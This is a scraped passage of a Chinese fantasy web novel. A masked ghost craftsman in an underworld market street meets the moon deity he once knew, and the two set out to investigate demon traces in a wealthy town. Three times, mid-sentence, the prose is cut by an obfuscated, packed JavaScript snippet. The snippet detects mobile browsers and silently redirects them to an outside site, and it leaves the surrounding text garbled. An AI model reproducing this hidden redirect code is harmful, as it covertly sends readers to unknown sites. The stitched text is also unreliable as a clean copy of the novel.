《野生山鬼流浪实录》 1. 重逢(一) 鸡鸣三声,本该是个安静的夜晚,然而在一条不起眼的巷子里,却是一派灯火通明、熙熙攘攘的景象。 此巷名为“鸡鸣巷”,地处酆都与人间的交界。每到夜里,正是巷子最为热闹的交易时刻。 巷子深处有间叫“妙笔”的铺子,远近闻名。 铺子里没有一件货物,只有一个展示店主得意之作的博古架。曾有客人出黄金万两欲购博古架上的一尊玉雕,都被店主婉拒。 他只卖手艺,客人提供大致想法,他负责实现。 店主技艺高超且审美一等,小到耳珰、臂钏,大到屏风、镜台,只要打上“妙笔”的印记,一旦流入市场,必将哄抢。 传闻店主还会失传已久的傀术,有人亲眼所见,店主随手让一只用木片拼成的小狗动了起来。 此时,“妙笔”铺子里。 穿金戴银的马头妖怪十分自来熟地凑到也在等候的独目鬼身旁:“俺为了来这儿,加了钱不说,还排了几个月的号。兄弟,你排了多久啊?” 浑身泛青的独目鬼慢慢用手把头拧过去:“没排。” 马头妖怪:“???” “哗啦”,铺子内间的竹帘掀开,走出一个身着朴素黑衣却十分抢眼的人,抢眼倒不是因为容貌,而是因为他戴着一张覆盖全脸的木头面具,只在眼睛的位置开了两个小洞。 独目鬼缓缓站起,走上前恭敬地行了一礼:“阿离大人,近来可好?” 虽然没人能瞧见他的表情,郁离仍微笑道:“一切安好。” 独目鬼扶着脑袋点头。 郁离伸出右手按在独目鬼身上,紧接着又将手挪到了右手一直捧着的木盒上,似乎从独目鬼身上取走了什么放在了木盒里,随后双手递出木盒,郑重地道了一句:“一路平安。” 独目鬼接过每一个鸡鸣巷居民离开时都会收到的木盒:“我执念已解。阿离大人,保重。” 独目鬼又施一礼,转身离开。 “哎哎哎,你们这是干嘛,咋的气氛突然变得这么沉重?还有他为啥不用排号?”马头妖怪凑过来疑惑地搓搓脑壳。 郁离心头涌起的万般思绪瞬间被打散,轻描淡写揭过这个问题:“您放心,小店规矩不会破,只是我没做他的生意,自然不用排号。您今天来是想做个什么物件?” 马头妖怪不再疑惑,羞涩道:“是这样,俺同俺家娘子成亲将满一年,想给她个惊喜。” 郁离:“那你有什么想法吗?珠钗镯子还是玉器摆件。” 马头妖怪又羞涩一笑,举起蹄子往脑袋上比划了两下:“俺想做一副精美的珊瑚角,能戴俺头上那种。娘子老说另一个山头上的鹿妖好看,哼,这回让她瞧瞧,俺头上有个角俺也好看!” 郁离:“……” 你娘子怕是会锤爆你的鹿角脑袋。 “你要是确定送这个,那就七日后来店里确认下设计图,等你看过后便可动工了。” “嘿嘿,那谢谢老板了。” 送走客人,郁离刚准备坐下继续完成快做好的木雕,店外就传来了一道惊呼声,听声音像是才送走的马头妖怪。 想到鸡鸣巷中其实也没有很太平,他无奈放下手中的刻刀,出门查看。 店外除了刚才的马头妖怪以外,还有一名手执孔雀羽扇的青衣美人,顾盼生辉。 朝思暮想的人携着巷里的月色,忽然出现在了眼前,一如当年眉眼明媚的少年拨开竹林浓雾,而后照亮了他无数个孤寂的长夜。 郁离只愣了一瞬便反应过来,手正了正了脸上戴着的面具。 那边马头妖怪仍然围着来人惊呼,“好家伙,兄弟你长得也忒好看了,俺要长你这幅模样,不得把俺娘子迷死,还用戴什么鹿角。” 常瀞看着围着自己打转的马头小妖,笑容愈发明艳。一双湘色的眸子好像如水的月光,额间一抹赤金花钿又添三分艳色。 好久没有收到这么直白的赞美了,开心。 常瀞摇了摇扇子,弯弯的笑眼移向郁离:“你是此间店主?我找施巷主,是往这个方向走么。” 这个小鬼看上去这么瘦弱,还有点熟悉的感觉,瞧着怪心疼的,也不知道因何来到这鸡鸣巷。 郁离揣手点头:“继续往深处走,花间乐坊找巷主便是。” 常瀞挥挥手朝巷子深处走去:“谢啦。” 郁离静静站在原地,望着常瀞远去的背影,不舍得眨一下眼睛,直到那个背影消失不见。 有段时日没有打听到他的消息了,看起来他过得挺好。 不错,常瀞就应当这般快快乐乐,哪怕,不再想起他也可以。 …… 拂晓将至,郁离停下手头的工作,望着远处天边的红光。 不知不觉,他来到鸡鸣巷已有近两百年,每日迎来送往,企图用生意填满时间的空白。今日突然相遇才发觉,那些藏在记忆深处的过往,仍然清晰。 你可后悔那年执意离开碧影山? 他又一次问自己。 “咚咚咚。” 敲门声响起。 郁离起身开门。 门外花间乐坊的小厮恭敬低头:“巷主请您到花间乐坊一叙。” 郁离怔住。 “我知道了。” 小厮又鞠一躬,消失不见。 “哎,巷主找你啥事呀,跟早上来那个长得跟神仙一样的人有关吧。”隔壁头上长着一根角的鬼倚着门框,“瞧那气息,怕不是是上清境来的呦。” 可不就是么,郁离心想。 “去了就知道了。”郁离摆手,“老茅,辛苦你帮我照看下店。” 天蒙蒙亮的鸡鸣巷已经不像夜间那般热闹,就像是人间一条普普通通的小巷。 自古凡人或妖身死,魂魄都会归于酆都,洗去记忆,步入轮回。然而总有一些例外,有些魂魄化为鬼后,会因强大的执念和未了的心愿,迟迟不愿入轮回。 酆都为了不让这些鬼随便出入人间,妨碍人间秩序,便在酆都和人间的交界处建起了一座鸡鸣巷,将这些还算守规矩的鬼聚集起来,统一管理。 起初只是想给这些鬼一个逗留的地方,可没想到,在等待执念和心愿了结的漫长岁月里,这些鬼为了给自己找点事情做,开始发挥自身特长做点小生意。 久而久之鸡鸣巷竟成了有名的黑市,甚至吸引了外来的各路人马。 这里有三界市面上流通的最精巧的手艺,最神奇的法宝,还有舞姿最轻盈曼妙的姑娘。 只要你有足够多的金银财宝,就可以在鸡鸣巷获得想要的任何东西。 郁离抬眼看着近在眼前的花间乐坊,正欲上台阶,忽然右边肩头一沉,一个漆黑的球型不知名生物蹲在了肩膀上面。 黑球嘶哑开口:“本大爷可听说了,是不是当年那个花孔雀,小鬼别怕,鼠爷陪你去。” 郁离一回头吓得冷汗都出来了:“小灰,你不是还睡着呢?怎么醒了,你赶紧给我回店里躲起来,别叫他看见你!” 黑球努力站直,却显得更圆:“没事,你看我跟当年有半点相似之处么,就连声音都变了,他认不出来的。” 郁离声音低下来:“小灰,我……” “行了行了,都过去多少年了。你别给鼠爷来这套。”黑球十分人性化地薅了一下郁离的头发。 位于鸡鸣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196547|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巷最深处的花间乐坊,是整个巷子里最高的一处建筑,也是最金碧辉煌的建筑。玉璧为灯,珍珠串帘,檐角挂着的琉璃铃铛随风发出悦耳的清响。 用施娘的话说便是,这里跳舞的、弹唱的姑娘们都这么可人,当然要住在最漂亮的地方,这是姑娘们的特权。 门口迎客的小厮向郁离示意,一路将他迎到了花间乐坊的最高层。 香炉内燃着上好的奇楠香,隔着重重纱幕,郁离再度看见了那个身影。 常瀞转头,看见来人。 果然,方才遇见的小店主就是鸡鸣巷的三位巷主之一。 鸡鸣巷三位巷主均来自酆都,为掩盖真实面貌,都有遮面。施娘,施巷主佩戴珠链面纱,掌管鸡鸣巷中的乐坊、赌坊等灰色场所。 眼前的小店主应当叫阿离,据闻一手失传的傀术出神入化,明面上开着一间手工作坊,实则负责鸡鸣巷的所有贸易往来,十分低调,很少出现在幕前。 他还是从酆都大帝那个老头儿那得知的消息,一般不知内情的人都当鸡鸣巷只有一位施巷主。 常瀞起身:“阿离巷主,先前失敬了。” 郁离手心出汗:“不用不用,唤我阿离便好。” 常瀞:“那我便不客气了。我名唤常瀞,自上清境而来。你也可以按你的心意称呼。施巷主临时有事,她让我们稍候。” “好。”郁离走过去坐到桌案旁,差点儿同手同脚。 常瀞右手撑着脸颊,望着郁离,神色间有点恍惚:“阿离之前是哪的人,我认识一个人,名字与你很像。” 郁离呼吸一窒,随口乱说了一个地名。 “这样啊。”地点对不上,常瀞心乱。 小巷主会傀术。 傀术一直是金石城袁家的独门绝技,早已随金石城的覆灭失传,他是如何习到的,还是说他就是袁家的人? 若小巷主真是袁家的人,又怎会和他家郁离如此相像。 室内忽然安静下来,郁离垂着头一动不动,一向不会冷场的常瀞也像是陷入回忆一般,不再说话。 片刻后,常瀞回过神来,找起话题,他用扇子指了指郁离肩头:“我方才就想问了,你肩上这个黑球是什么东西?” 鼠爷闻言暴起:“本,呃,我才不是什么黑球!” 常瀞一惊:“说话了!这就是傀?” 郁离点头。 常瀞捏着下巴:“原型是什么?猪?” 鼠爷又暴起:“才不是!瞎吗?我明明——” “明明什么?” 郁离暴汗。 鼠爷委屈:“反正不是猪。” “这傀术当真神奇,就是它说话有点不利索。” 鼠爷暴怒:“!” 郁离:“……” “巷主回来了。”门外候着的小厮开口。 一阵香风拂过,进来的是位头顶竖着两只红色狐耳的女子,尽管脸上佩着珠链面纱,看不清真实面容,却因露出来的一双含情眉目,无端就让人觉得一定是位顶好看的美人。 美人轻盈路过,身后八条毛绒绒的狐尾蹭过郁离的手。 他下意识动了动手指。 施娘娇嗔,转身敲了一下郁离的头:“毛手毛脚的!” 郁离捂头:“明明是尾巴自己蹭上来的。” 常瀞恍神,我家小郁离也喜欢毛绒绒的东西。 施娘坐上主位,朝常瀞歉然一笑:“见笑了,家里孩子还没长大一样。” 常瀞表示不在意。 哼,谁家没有小孩儿。 三人又寒暄几句,常瀞像是不经意般开口:“施巷主,我看二位都挺眼熟。” 2. 重逢(二) 施娘坐稳巷主之位这么多年,是何等人物,当下就察觉出常瀞话里的试探的意味:“星君说笑了,我是妖族,你我怎可能见过,至于我们阿离,你问他呗。” 郁离给出了对他没有印象的回答,常瀞没发现破绽,只得先按下此事。 “好啦,说正事儿吧。”施娘正襟危坐,“阿离也到了,那就麻烦太阴星君再说明一下此行的目的吧。” 七日前,上清境,月宫。 常瀞喝过酒躺在床上睡得正香,梦里是一座终年云雾缭绕的深山。 突然,一道充满磁性的大叔音在耳边炸响。 “起床了星君!起床了!” 常瀞艰难地支起眼皮,看了眼面前焦急到蹦来蹦去的白兔,又翻个身继续睡。 “快点!星君!今天您要出任务了,上仙春神已经在殿里候着您了!”白兔见声音干扰无效,直接蹦到床上跳来跳去,企图用实际行动把常瀞叫醒。 “诶诶诶!”这一出直接让常瀞坐起来,拎起耳朵就把白兔扔到床下,“年纪一大把了,不知道自己掉毛啊!” 白兔见常瀞终于醒来,叹了口气,蹦回大殿。 月宫大殿里,一个青衫男子怀中抱着几枝迎春,笑容温润。 白兔行礼,发出大叔音:“烦请上仙再稍候,我们星君已经醒来了。” 重寒酥温润笑脸一僵:“不急的。” 果然无论听多少遍,都接受不了这只可爱白兔发出的沧桑大叔音啊! 一刻钟后,常瀞光鲜亮丽地走出来,完全没有了方才床上赖唧唧的模样,他随意地同重寒酥打了个招呼,顺手敲了下白兔的头:“走了。” 白兔望着二人的背影,挥着不知道从哪掏出来的小手绢,深情喊道:“二位一路平安啊!” 常瀞与重寒酥一路疾驰来到庐山镇。 此前,据上清境唯一的神器——三元鉴的指引,庐山镇近日似乎有魔物出现的踪迹,于是天尊命太阴星君常瀞和春神重寒酥前去调查。 魔物,是三界共同的敌人,手段邪恶,杀不死消不灭。无人知晓,他们何时降临,因何降临。只知道数千年前,当他们第一次出现在北境冰原上,便给三界带来了巨大的动荡。 那一次,上清境死伤无数,才将魔物封印在冰原内,并在之后的年岁里一直努力寻找彻底杀死魔物的方法,却毫无所获。 尽管上清境一直派专人值守加固封印,仍然会有魔物的踪迹现世,提醒三界,封印并不牢固。 封印之初,三元鉴频频给出指引,直到近千年,魔物的踪迹才慢慢减少。 常瀞和重寒酥在庐山镇探查数日,除了当地土地仙支支吾吾地提出了一个看似毫无干系的线索外,一点收获都没有,三元鉴探查出来的魔物就像是凭空消失了一般。 二人只能从土地仙给出的线索的查起,据土地仙所言,庐山镇一向太平安稳,鬼怪都少有来犯。百姓都说是因为庐山镇那位姓虞的大善人,是他的善心庇护了这一方水土。 然而就在前些日子,这里突然来了一只鬼,土地仙恪尽职守,盯了它几天。 盯梢的过程中,土地仙感觉到那只鬼气息衰弱,而且对庐山镇并无恶意,偶尔出现的似有似无的怨气,似乎只是与生前遭受的其他磨难有关,所以在鬼的气息骤然消失后,土地仙并没有当一回事。 土地仙拍着脑袋回忆了一会儿,说这只突然消失的鬼身上,似乎有着鸡鸣巷的气息。 …… 鸡鸣巷。 常瀞正襟危坐:“这就是我来此的意图,希望二位替我解惑。与魔物有关的任何事一向受上清境重视,相信二位也知晓数千年前魔物动荡的那场灾难。三元鉴从不曾出错,若庐山镇魔物踪迹一事解决不了,后果是所有人,包括上清境都承担不起的。” 施娘目光移向郁离。 “鸡鸣巷所有鬼的魂魄上都被施了秘法,只有每月十五,鬼可以离开一日,其余时间擅自离开都会魂飞魄散。”郁离顿了顿,“此外,就是鬼了却夙愿那日,他们会向我讨一个物件,带在身上可以自由离开,寻一处地方自行消散。但是,物件的效果仅有一日,一日后只要不在鸡鸣巷内,必定魂飞魄散。” 常瀞又问:“土地仙可是说他盯了好几日,就不会有意外么。” “鸡鸣巷自建成以来,从无错漏。酆都使用特殊手段在魂魄上施下的秘法无从更改,这是鸡鸣巷立足至今的底气。”施娘解释完,转头问郁离,“按照星君所述的时间线,有没有离开鸡鸣巷的鬼。” “有两位。一位是个看起来年龄挺小的姑娘,在鸡鸣巷这几年很少见到她出现,还有一位是个虎妖,与褚大哥关系很好,听说离巷之日还去送行了。” 施娘扬声:“传褚游。” 门外小厮应声离去。 一盏茶的时间,一位皮肤略黑、左半张脸都覆盖着银质面具的高大男人撩开纱幕进来,一屁股坐下。 褚游拱手:“太阴星君是吧,久仰久仰。” 常瀞回礼:“这位便是褚巷主是吧。” 听酆都大帝说,这位巷主掌鸡鸣巷的秩序,生前曾是位将军,果真一身杀伐之气。 施娘闻见褚游身上的酒气,偷偷翻了个白眼,将事情陈述了一遍。 郁离敏锐地察觉到当施娘提到春神时,诸游的神情略有一丝掺杂着奇怪感情的喜悦,尽管他掩饰得很好。 诸游听罢断言:“绝不是虎妖,他那日黏黏糊糊非要我陪着他,我亲眼所见他的消散。” 常瀞思考:“那看来,只有那个小姑娘有可能与庐山镇一事有关了。她若当真没有消散,能不能设法找到她,毕竟这是我们现在唯一的线索。” 诸游眼珠一转,一本正经道:“可以啊,那些鬼们离去前拿到的小木盒,其实就相当于一把钥匙。阿离会在离去之日抽取他们魂魄的一部分与钥匙融合,让他们能平安穿过鸡鸣巷的结界。事情发生还没过去多久,阿离应当对那个小姑娘还有些印象吧,或许还能感应到她的位置,就让他跟你走一趟庐山镇呗。” 郁离惊呆:“啊?!” 诸游向施娘使了个眼色,一锤定音:“啊什么啊,与魔物有关的事情多重要啊,鸡鸣巷岂能袖手旁观,就这么定了!你跟着一起去。” 施娘反应过来,忙点头附和:“乖,你就去帮帮星君。” 郁离:“……” 常瀞眨眨眼看着郁离,纤长的睫毛比姑娘们还要浓密:“那真是麻烦了。” 郁离沉默片刻:“好,只是容我缓一日,店里还有些事务需要处理。” 常瀞笑眯眯:“没问题,那明日一早,我去‘妙笔’找你。” 常瀞由小厮引着去客房休息了,房间内只剩鸡鸣巷三位巷主。 褚游一下凑到郁离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196548|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁边,胳膊搭在他肩上:“怎么样呐,快谢谢哥哥。” 郁离叹气。 施娘双手撑住下巴:“难怪我们阿离一直念念不忘,这太阴星君容貌当真三界第一啊,我花间乐坊这些美人都跟他没法相比。” 褚游:“不过今日他就一点没起疑?” 郁离苦笑:“脸上那么大一个面具挡得严严实实,再加上我离开深山后,身形上看起来长了五六岁,声音也有所变化。原本就只相处过短短半载,认不出来很正常。” 施娘晃了晃尾巴,怜爱地望向郁离:“那趁着这次机会,要不要?” “算了吧,他现在似乎过得挺好。”郁离的手微微颤抖,“况且,我堕鬼后,手上还沾了那么多条人命,他父母的死也与我有关。那一天过后,我就无法回头了。” 这次因为魔物的事情,能换一个身份重新认识,还能离常瀞那么近,他已经很满足了。 生来便高悬于空中的明月,曾经短暂地照亮过深山,便已足够,哪里还敢奢求明月垂怜,奔赴而来呢。 翌日清晨。 郁离刚一推开门,就看到常瀞笑盈盈立在门外等候。 他今日换了一身仙气飘飘的白衣,手里的扇子也换成了纸扇。 郁离站在他身前,感觉自己灰扑扑的。 “等很久了么,抱歉,我动作有点慢。” 鼠爷蹲在郁离肩上,嗤道:“等会儿怎么了,跟他去就够给他面子了。” 郁离警告地戳戳它。 “哼!”鼠爷扭头,跳下肩膀,钻进郁离的袖子里,“随您便吧,我睡觉了。” 常瀞笑出声:“你这傀可真有意思。” 郁离阖上店门:“走吧。” 鸡鸣巷在晚间最为热闹,人、仙、妖、鬼汇聚于此,各取所需。而到了白日,便是冷冷清清,大部分店铺都关着门,郁离的“妙笔”也不例外,此时就只有寥寥几家食肆开门经营。 常瀞第一次来鸡鸣巷看哪都好奇,郁离耐心地一一解答,一路上气氛倒也融洽。 “这鸡鸣巷当真有趣,早知道我该早点来转转。”常瀞左顾右盼。 郁离小心开口:“若星君今后有空,我可以带你在夜里转转,更有意思。” “好啊好啊,等这次事情了结了,我来鸡鸣巷找你,你到时可不许推辞啊。” “怎么会呢。” 经过一个岔路口,郁离突然想到什么,朝岔路深处跑去:“星君,等我一下!” 常瀞不明所以,点点头。 不一会儿,郁离便小心翼翼捧着一个浅浅的竹筒回来。 郁离将竹筒递给常瀞:“星君你尝尝,这是巷子里很有名的冰酥酪,上面是用梅子和只在鸡鸣巷生长的一种薰华草做成的酱。薰华草朝生暮死,做成酱保鲜期也很短,所以只有这里能吃到这个味道。” 常瀞接过,吃了一口,眼睛都亮起来:“真的好吃诶,不过你怎么不给自己也买一碗。” 郁离声音变低:“我是鬼,尝不出味道的。” 常瀞自知失言,明知冒昧却忍不住问道:“我听说鬼只要选择了进入鸡鸣巷,便无法入轮回,消散了就是消散了,巷主也不例外。鬼的相貌和生前的一样,我看你年龄不大的样子,怎么来了鸡鸣巷。” “我是妖族,年龄不小了。”郁离顿了一下,“我来鸡鸣巷,是了为赎罪。” 3. 虞府(一) 郁离不敢抬头看常瀞脸上的表情:“我与施姐姐和褚大哥不一样,他们选择接下巷主之位,是和这里的其他鬼一样,有始终放不下的心愿。而我,本就是酆都大狱的罪犯,只是因为鸡鸣巷巷主一职空缺,我又恰好有一技之长,才被允许来此地服刑赎罪的。” 常瀞先是一愣,随即温和地笑道:“是有隐情的吧。虽然我们才刚刚相识,但是我也不知道为什么,能感觉你到本性善良。何况,你若当真做了什么天理难容的罪恶之事,另外两位巷主,还有酆都老头,会对你态度那么友好?” “那万一,万一我是装得呢?” “你倒奇怪,我都说了相信你,你非得让我不相信。” 郁离不再说话。 他确实罪恶深重,间接害常瀞家破人亡的罪魁祸首,就是他啊。 …… 二人刚走出巷口,身后突然传来熟悉的呼唤声。郁离回过头,发现竟是褚游一路小跑跟了过来。 褚游扶住郁离肩膀,夸张地喘气:“等等我,我也和你们一起去!” 郁离瞪圆眼睛:“?” 褚游义正言辞地朝此次行动的负责人常瀞道:“带上我吧!就当多个打手,我很能打的,我们阿离太弱小了,魔物太可怕了。我担心你们打起来顾不上他,我得去保护他。” 郁离:“?!” 常瀞笑道:“我当然没问题,多一个战力我求之不得。” 郁离:“……” 离开鸡鸣巷,三人远远地寻了一片空地,趁常瀞准备缩地术的工夫,郁离悄悄向褚游传音:“你其实是为了那位春神吧,昨日在乐坊星君提到春神也与他一起去了庐山镇,你当时的表情就不太对劲儿。” 褚游飞快转头看郁离:“跟你无关,大人的事小孩少管。” 郁离撇嘴:“褚大哥的过去,我也是听说过一些的,那位春神就是你来鸡鸣巷的理由吧。我可是听说过他的美名,四月芳菲,上清春神。你到底是怎么认识他的啊。” 褚游求饶:“好弟弟,以后有机会再给你说,咱俩这回先互相打掩护。” “哼。” 缩地术发动,三人转瞬间便来到了庐山镇外。 说来缩地术的发动其实禁忌重重,并不像是想象中那样,可以随意去到任何地方。 它成立的条件首先需要施术者,在想去的地方事先布下过阵法,其次,布下的阵法不能在人烟密集的地方,来来往往易受干扰。 庐山镇,因镇外的庐山得名,景色如诗如画。 郁离新奇地看着中原南部更加秀美的山景,在和自己生长的那座山对比后,还是觉得自己的那座山更好看。 恰好传送到了镇外,郁离便提议先在镇子外面搜一圈,他先感知一下有没有鸡鸣巷那个小姑娘的气息,毕竟时间隔得越久,气息就越淡。 然而,事与愿违,一圈搜下来,没有任何收获,天上还飘起了雨。三人只好躲到一间破庙里歇脚。 破庙看上去已经荒废了好些年,连庙里供奉的佛像都已经倒塌,却奇特的没有蛛网灰尘密布,似乎有人还会来此地打扫。 褚游坐不住,四处查看:“看,这菩萨像背后的角落里还有床破破烂烂的被褥,这附近还有烧过火的痕迹。” 郁离揣手:“也许是乞丐把这里当做一个落脚点?我们还是去门口呆着吧,不要乱碰这里的东西了。” 常瀞伸手露出在腕间缠绕的细细金链,从中掏出三个看起来很蓬松的软垫放在地上。 闪光的金链缠绕在他白皙的手腕上,就像细碎的月光流淌在白玉上一样。 郁离看着那条金链,下意识摸摸了胸口的位置。 褚游也不客气,直接坐下:“星君,你这是个空间法器?很少见到有人用链子做空间法器。” 常瀞淡然一笑:“这是我从小带到大的链子。除了它,我又不习惯戴其他饰品,干脆请人做成了空间法器。” 褚游迅速看了眼郁离,像是突然想起什么:“你这个链子不会是一对儿吧。” “你怎么知道是一对儿?”常瀞生疑,“一般不都是只戴一条。不会是在哪见过吧” “呃,害,我就随口一说。”褚游自知失言,顶着郁离的死亡视线火速转移话题,“这雨还要下多久啊。” 常瀞转头看着门外的雨幕:“感觉一时半会儿停不了。” 褚游开始担心下雨或许会影响他们到达庐山镇的时间,愤愤道:“要我说,上清境规定的那条,行走人间非必要情况不得使用法术,也太强硬了吧。就像现在,明明可以用个小法术,咱们就能进继续前进了,却还要在这里避雨。” 郁离敏感地察觉到了他急着离开的深意,当场就把刚才他差点说漏嘴的仇报了:“不要心急,都等着你呢。” 褚游急得直朝他挤眉弄眼,示意他别说了。 郁离抱着膝:“我倒觉得上清境这条戒律挺好,对于咱们来说如家常便饭般的术法,在百姓眼里就如同神迹。神迹若十分常见,却无法为自己掌控,久而久之心生嫉妒,假使再被有心之人利用,人间的平衡怕是会被打破啊。” 常瀞摇着扇子:“确是如此,就像修仙宗门不得插手凡间战争一样,否则,战争的后果就过于惨烈了。” 褚游长叹口气。 雨越下越密,破庙门口的一片湖水腾起雾气。 褚游看着这片湖水,突然想起了一个流传很广的传说。 传说在上清境的最深处,有一片十分清澈的湖水,清澈到就像是一面镜子一样。 每逢月圆,可以去湖边虔诚地祈祷,若是有缘人,湖面会发光,祈祷的人就可以问一个问题,小到天尊近日有没有偷偷溜去凡间品鉴美食,大到一千年后天地间的格局会有何等改变。 无论任何问题,只要提出来,湖水就会给出答案。 褚游随手拾起一颗石子朝湖面扔去,石子在湖面上接连跳跃了几下:“所以星君,这到底是不是真的啊?真有那么神奇?” 常瀞也捻起脚边一颗石子朝湖面砸去:“真,也不真。” 褚游扭头:“哦?什么意思。” 郁离也好奇地注视着常瀞。 “嗯,怎么说呢?上清境确实有一片湖水,只是被划为了禁地,只有天尊能随意进出,其他人不能接近,除非经过天尊的允许。” “我刚飞升之后,就四处打听过这个传说,只是所有人都告诉我,湖水会回答问题是骗人的,根本就没有这回事。据说,因为这一任天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196549|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尊性格温和,所以曾有几个好奇的人求着天尊带他们去过,回来都说是骗人的,就是一片普通的湖,只是灵气比较充裕。” “我不相信啊,便找了一个月圆之夜,把天尊灌醉,软磨硬泡,他才同意让我去看看。” “然后呢?” 常瀞苦笑:“湖面确实亮了,我也确实问了一个问题,可是,我等了足足有一炷香的时间,什么都没有发生,根本没有任何回应。” “啊?一点奇怪的地方都没有么?” 常瀞仔细回忆:“你问到奇怪的地方,好像在我转身离开的一刹那,我的眼前突然闪了一下,随后就是一片红色,但也就是那一刹那的时间。这难道也算是回答?” 郁离歪头:“感觉也不像。” “诶,你们看,雨停了。”褚游惊喜地喊道。 刚一走进庐山镇,郁离和褚游就被街面上的景象给惊讶到了,这里繁华到不像是中原的一个偏远小镇。 庐山镇的街面宽阔整洁,街边铺子琳琅满目,来来往往的百姓和铺子里的伙计也都眉眼舒展,笑意连连。 常瀞笑眯眯:“听镇上的百姓说,这里也是最近这几十年才富起来的。都是多亏了这里远近闻名的富商虞峰,不单自己富有,还带着百姓们一起谋利,所以才有了这么一副物阜民康、欣欣向荣的景象。” 褚游咂舌:“竟还有这等人物,我怎么遇不到。” 常瀞引着郁离、褚游二人向虞府走去:“我们来此探查的几日,一开始住在客栈。后来去周边山林排查时,偶然救下了护送商队的虞家少爷,便被邀请到他家中安置。我们想着或许可以获得一些调查的助力,便同意了,现下就在虞府安置。” 说话间,前方吵吵嚷嚷的聚集了一些人。本着不放过庐山镇任何一处异常的态度,常瀞领着二人挤进了人群中心。 只见一个泼辣女子死死揪住一个乞丐的衣服,大声嚷道:“隔三差五就来我铺子里偷东西吃!这回一定不能让你跑了,跟我去官府,你就有白给的牢饭吃了!走!” 乞丐不顾自己身上裹着的破布即将被撕破,狼吞虎咽地把手里的包子塞进口中,蛮横地挣开泼辣女子的手,挑了一个围观百姓较少的位置,冲了出去。 百姓见他朝外跑,害怕碰到他身上的脏污,纷纷让开路。 泼辣女子被他甩开,错失了追上去的良机,只能捏着手里乞丐衣角的碎步继续叫骂。 褚游调侃:“呵,才夸了这里富庶,街头就出现乞丐。” 旁边路人接话:“也没有啦,看您眼生,是外乡人吧。我们镇上这些乞丐啊,在虞家的帮助下都已经自给自足啦。现在整个庐山镇就剩这么一个哑巴乞丐,还是个傻子,就是不愿意接受帮助,都这么晃了十来年啦。不过平日里他很少出现在镇上,也不知道晚上都睡哪里。” 褚游一头雾水:“确实奇怪,可能真是脑袋有点问题吧。” 离开看热闹的人群以后,三人没走多久就抵达了虞府。 雕花金钉的大门,高耸厚重的围墙,又给来自鸡鸣巷的二人带来了一次震撼。 就在三人距离大门没有多远的时候,郁离突然停住。 “我好像,感知到了巷子里那个小姑娘的气息。” 4. 虞府(二) 褚游瞬间警惕起来:“那还是原计划?住这里?” 常瀞合起扇子,望向虞府的目光锐利起来:“进去吧,不入虎穴焉得虎子啊。” 褚游捋了一把脑后的高马尾:“我就说带上我们阿离有用吧,走着!” 虞府正堂。 虞家少爷虞晖和刚过门的少夫人柳惜露接待了常瀞一行人,表示了对郁离、褚游的欢迎,说是随便住多少日都可以。 虞家少夫人圆眼圆脸,长相温婉,虞少爷也是长相俊朗,面容和善。没说几句话,夫妻二人就被虞家铺子来的管事急匆匆地叫走了。 侍女说重寒酥清晨外出还未归,三人便打算在他住的客房等待。 合上房门,褚游便便迫不及待地问道:“怎么样,感觉到气息的源头了么?” 郁离摇摇头:“还是和在外面一样,特别淡,但是一路走来就只有虞府这里感受到了,或许是被有意掩盖了。” 常瀞掏出一个软垫放在椅子上坐下:“无事,这几日再在虞府和镇子其他地方转转,总会有她露出马脚的时候。” 郁离点头,摸着窗台上摆放的一株兰花问:“今日怎么没见到那位大善人虞老爷。” 常瀞摸摸下巴:“我也没见过,据说在我们到庐山镇的前几日生病了,一直卧床修养,不便见客。” 虞老爷的一生颇为传奇,他出生于庐山镇一个普通的商户家庭,年少时就不像同龄人那般一心想着念书参加科举,反而十分喜爱做生意,早早便离开书院跟随父亲一同打理家中生意。 不知是不是因为虞老爷的生意头脑着实出众,在他经手后虞家越做越大,没几年便从一个普普通通的小商户,摇身一变成了庐山镇乃至大楚国境内都远近闻名的富商。 这时候的虞老爷也成了亲,生了孩子,好像一切都是如此美满。 然而名为金钱和名利的野心是不那么容易就能满足的,虞老爷将目光转向了遥远的西域,行商多年,曾与西域胡商有过往来,西域的美酒和瓜果一直牵动着他那颗塞满经商点子的心。 虞家的商队出发了,前期试探性的一两次走商,为虞老爷解开了在中原其他国家屡次生意碰壁的局面,这令他愈发膨胀。 于是,在准备充分、规模更大的第三次的行商中,虞老爷直接亲率商队,前往西域,势必要彻底打通虞家与西域的商路。 可是,所有人都未曾预料,商队在返程的途中遇到了百年难遇的沙暴,货物丢失,随行人员失散伤亡,最终回到庐山镇的仅有虞老爷和他的一个随从,就连他的父亲也在沙暴中走失。 